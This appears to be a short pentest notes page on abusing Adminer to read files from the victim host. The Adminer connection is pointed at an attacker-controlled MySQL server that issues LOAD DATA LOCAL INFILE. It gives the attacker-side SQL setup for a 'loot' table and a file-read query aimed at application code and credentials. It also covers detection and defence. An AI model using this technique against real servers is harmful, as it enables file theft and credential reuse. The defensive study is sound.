the_open_door
coffee
ESEN
← Back to index

Adminer + LOAD DATA LOCAL INFILE

Adminer is a single-file PHP web database manager (a lightweight phpMyAdmin alternative). Its convenience is also its risk: the connection form lets you choose which database server to point at, and nothing forces it to be localhost. If we aim it at a MySQL/MariaDB under our control, the one establishing the connection is the victim machine's process, which now acts as a client of our server.

The abuse. In the MySQL protocol, the LOAD DATA LOCAL INFILE statement makes the client read a file from its own filesystem and send it to the server. When the client is the victim and the server is ours, the query becomes an arbitrary file read of the victim machine:

LOAD DATA LOCAL INFILE '/var/www/html/index.php'
INTO TABLE <db>.<table>
SELECT * FROM <db>.<table>;   -- the file's content is now in our table

Attacker-side setup. You stand up your own DB server, reachable from the victim, with a table to catch the loot:

CREATE DATABASE loot;
CREATE USER 'u'@'<victim_ip>' IDENTIFIED BY '1234';
CREATE TABLE loot.output (data VARCHAR(1024));
GRANT ALL PRIVILEGES ON loot.* TO 'u'@'<victim_ip>';

The server must also listen beyond localhost (bind-address = 0.0.0.0 in 50-server.cnf). From Adminer you log in pointing at our IP and fire the LOAD DATA LOCAL.

Important nuance. What you can read depends on the permissions of the system user the victim's DB server runs as. Files like /etc/shadow or /etc/passwd may fail; the application's own code (index.php, config files), on the other hand, is usually readable and is where reusable credentials most often live, opening the next step (often via credential reuse on SSH).

How to detect it. The signature is an outbound connection to 3306 from the web server (where Adminer lives) to an external IP, which a legitimate Adminer pointing at its local DB never does; the access log shows the Adminer login request with the server parameter pointing outward. At the MySQL protocol level, the external server sends the victim client a local-file request (LOCAL INFILE), and the web process reading index.php/config right after (FIM/auditd) confirms the exfiltration. It shares its signature with the rogue MySQL server.

Defence. Keep Adminer updated, don't expose it unauthenticated, and start the MySQL client with --local-infile=0 to disable LOCAL INFILE. The root cause is letting the server initiate connections to destinations a user picks, which usually leads to credential reuse against other services.

Machines where it's used